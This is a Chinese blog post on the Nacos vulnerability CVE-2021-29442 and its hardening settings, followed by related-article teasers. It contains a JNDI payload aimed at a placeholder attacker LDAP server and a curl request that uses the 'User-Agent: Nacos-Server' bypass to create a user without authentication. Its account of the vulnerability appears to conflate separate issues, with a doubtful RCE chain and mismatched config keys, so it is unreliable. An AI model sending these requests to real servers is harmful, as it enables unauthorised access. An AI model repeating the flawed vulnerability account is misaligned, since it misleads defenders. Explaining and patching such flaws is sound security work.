Nacos CVE-2021-29442

CVE-2021-29442 是 Nacos 中一个认证绕过 + 远程代码执行(RCE)的高危漏洞,主要影响 Nacos 1.4.1 及以下版本,漏洞的核心原因是:

  1. Nacos 默认的鉴权实现存在逻辑缺陷,攻击者可以通过构造特殊的 HTTP 请求头绕过身份认证;
  2. 结合 Nacos 的配置管理功能,攻击者可上传恶意配置文件,最终实现远程代码执行,控制服务器。
  • 受影响版本:Nacos 0.2.0 ~ 1.4.1
  • 不受影响版本:Nacos 1.4.2 及以上、2.0.0 及以上(官方已修复)
  • 漏洞触发条件:Nacos 开启了鉴权功能(nacos.core.auth.enabled=true),但未正确配置自定义密钥(默认密钥可被利用)。
  • 认证绕过:Nacos 的鉴权逻辑依赖User-Agent等请求头验证,攻击者构造包含Nacos-ServerUser-Agent即可绕过认证;
  • 配置注入:绕过认证后,攻击者通过 Nacos 的配置发布接口上传包含恶意脚本的配置(如${jndi:ldap://攻击者服务器/恶意类});
  • 代码执行:当客户端拉取该恶意配置时,触发 JNDI 注入,执行攻击者预设的恶意代码。
  • 1.x 版本升级至1.4.2及以上;
  • 2.x 版本使用2.0.0及以上(2.x 架构重构,从根本上修复了该漏洞)。
  • 修改默认密钥:在nacos/conf/application.properties中配置自定义的鉴权密钥,避免使用默认值:

E:\Document_Nacos\nacos-server-1.4.5\nacos\conf

# 开启鉴权

nacos.core.auth.enabled=true

# 配置自定义密钥(必须修改,随机字符串)

nacos.core.auth.plugin.nacos.token.secret.key=自定义的32位以上随机字符串

# 关闭 User-Agent 白名单(关键)

nacos.core.auth.enable.userAgentAuthWhite=false

測試:

curl -X POST "http://nacos服务器IP:8848/nacos/v1/auth/users?username=test&password=test" \ -H "User-Agent: Nacos-Server" \ -H "Content-Type: application/x-www-form-urlencoded"

  • CVE-2021-29442 是 Nacos 1.4.1 及以下版本的高危 RCE 漏洞,核心是认证绕过 + JNDI 注入;
  • 最根本的修复方式是升级 Nacos 到 1.4.2/2.0.0 及以上版本;
  • 临时防护需修改鉴权密钥、关闭 User-Agent 白名单,并做好网络隔离,禁止 Nacos 端口公网暴露

最早之前的springcloud,是用的Eureka的,后来某里发展出来的,一堆的抄着用。

nacos

其他开源国内git项目漏洞,这些都是等保过不去的,都是会被测试工具扫描出来,要通报批评的

kkFileView SSRF

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1201957.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

(新卷,200分)- 去除多余空格(Java JS Python)

(新卷,200分)- 去除多余空格(Java & JS & Python)题目描述去除文本多余空格,但不去除配对单引号之间的多余空格。给出关键词的起始和结束下标,去除多余空格后刷新关键词的起始和结束下标。条件约束: 1&#xf…

IP地址与端口号

IP地址及编址方式 IP地址基础概念 IP地址的本质 定义:用于唯一标识互联网上设备的逻辑地址结构:采用两级结构(网络号 主机号)唯一性:在整个互联网范围内是唯一的表示方法:点分十进制记法(如…

制造业七大核心系统盘点——ERP、MES、WMS、SCM、PLM、SCADA、QMS

我这几年跑工厂、聊老板、跟信息化负责人沟通,听到最多的一句话不是我们没系统,而是:ERP 上了,车间还是一团乱MES 买了,数据没人信仓库有系统,库存还是对不上系统一堆,但问题一个没少这时候很多…

python之lession7-迭代器和生成器

案例一:迭代器访问 import syslist[1,2,3,4] it iter(list) while True:try:print(next(it))except StopIteration:sys.exit()案例二:使用class类创建一个迭代器 class MyNumbers:def __iter__(self):self.a 1return selfdef __next__(self):x self.a…

【毕业设计】基于springboot的蔬菜超市系统(源码+文档+远程调试,全bao定制等)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

DuCsps.dll文件丢失找不到 免费下载方法分享

在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visual C运行库,比如像 QQ、迅雷、Adobe 软件等等,如果没有安装VC运行库或者安装…

Java毕设项目推荐-基于SpringBoot+vue的保险公司人力资源管理系统基于springboot的寿险公司人力资源管理系统【附源码+文档,调试定制服务】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

linux Page Table 和 TLB 操作总结

以下是 Linux 内核中与页表和 TLB 操作对应的主要 API/函数列表,结合上述操作分类:页表(Page Table)相关 API 1. 地址转换操作内核 API/函数说明虚拟地址→物理地址virt_to_phys()、__pa()内核虚拟地址转物理地址物理地址→虚拟地…

【观成科技】C2框架AdaptixC2加密流量分析

工具介绍 AdaptixC2 是一款设计简洁、灵活且易于定制的命令与控制 (C2) 框架。与复杂且臃肿的大型 C2 平台不同,其轻量级设计使得攻击者能够更轻松地在不同环境中部署和调整。该框架采用模块化设计,支持C2工具的基本功能,例如在受感染的机器…

吴恩达深度学习课程五:自然语言处理 第二周:词嵌入(四)分层 softmax 和负采样

此分类用于记录吴恩达深度学习课程的学习笔记。 课程相关信息链接如下:原课程视频链接:[双语字幕]吴恩达深度学习deeplearning.ai github课程资料,含课件与笔记:吴恩达深度学习教学资料 课程配套练习(中英)与答案…

nessus离线安装

Nessus 离线安装 只能免费试用30天 参考文档:https://docs.tenable.com/nessus/Content/InstallNessusOffline.htm 获取激活码 打开网址 https://www.tenable.com/products/nessus/nessus-essentials 填写邮箱,提交。…

2026年天猫代运营服务商排名前五权威发布:专业深度测评揭晓

2026年天猫淘宝代运营服务商权威测评与排名发布 随着电商行业进入精细化、全域化运营新阶段,品牌方对专业、高效、可量化的天猫淘宝代运营服务需求持续攀升。为帮助品牌方、企业主及商家在众多服务商中做出客观决策,…

用Microsoft Visual Studio Installer Projects打包程序

参考https://blog.csdn.net/m0_51961114/article/details/134908822 添加文件方式 方式一:如下图方式,可能有的.dll文件没添加上 方式二:直接按照自己的Debug/Release下所需的文件目录和文件在Application Folder下创建并添加相关文件&…

【博客园】Markdown语法如何设置图片大小

使用html标签,格式如下: <div align="center"><img src="图片路径" style="zoom:70%" alt="图片名称"/></div> <div align="center">&l…

一文看懂供应链五大核心模块:计划、采购、生产、仓储、物流如何联动?

你有没有遇到过这种情况&#xff1a;客户订单来了&#xff0c;仓库却没货&#xff0c;急得销售拍桌子&#xff1b;采购刚下单买了一堆原材料&#xff0c;结果生产说用不上&#xff0c;全堆在仓库吃灰&#xff1b;生产线开足马力干了一个月&#xff0c;结果做出来的东西没人要&a…

【计算机毕业设计案例】基于JAVA寿险公司人力资源管理系统基于springboot的寿险公司人力资源管理系统(程序+文档+讲解+定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

2026年专业深度测评:增压花洒排名前五品牌权威榜单

2026年专业深度测评:增压花洒排名前五品牌权威榜单 随着消费者对居家沐浴体验要求的精细化提升,以及对老旧小区、高层住宅水压不足问题的普遍关注,具备稳定增压、节水增效功能的增压花洒已成为卫浴升级的核心需求。…

2026年度增压花洒供应商专业深度测评与排名前五权威发布

2026年度增压花洒品牌十大排名权威发布:基于EEAT框架的专业深度测评 一、开篇:行业趋势与测评声明 随着消费者对家居生活品质要求的持续精细化,卫浴产品的性能与耐用性成为核心关注点。其中,增压花洒凭借其优化出水…

敏捷团队的协作利器:当Cucumber BDD遇见自动化测试

博主正在参加CSDN博客之星评选&#xff0c;需要您的支持&#xff01; 投票链接&#xff1a;https://www.csdn.net/blogstar2025/detail/056 近年来&#xff0c;越来越多的软件开发团队在开发流程中采用敏捷方法论&#xff0c;以应对瞬息万变的市场需求。这一趋势给测试团队带来…

Docker-构建自己的Web-Linux系统-镜像kasmweb/ubuntu-jammy-desktop

下载镜像 docker pull kasmweb/ubuntu-jammy-desktop:1.16.18G大小 运行 docker run --rm -itd --shm-size512m -p 6901:6901 -e VNC_PWadmin kasmweb/ubuntu-jammy-desktop:1.16.1VNC_PWadmin自己改 访问 https://192.168.1.222:6901/ 用户名&#xff1a;kasm_user 密码&…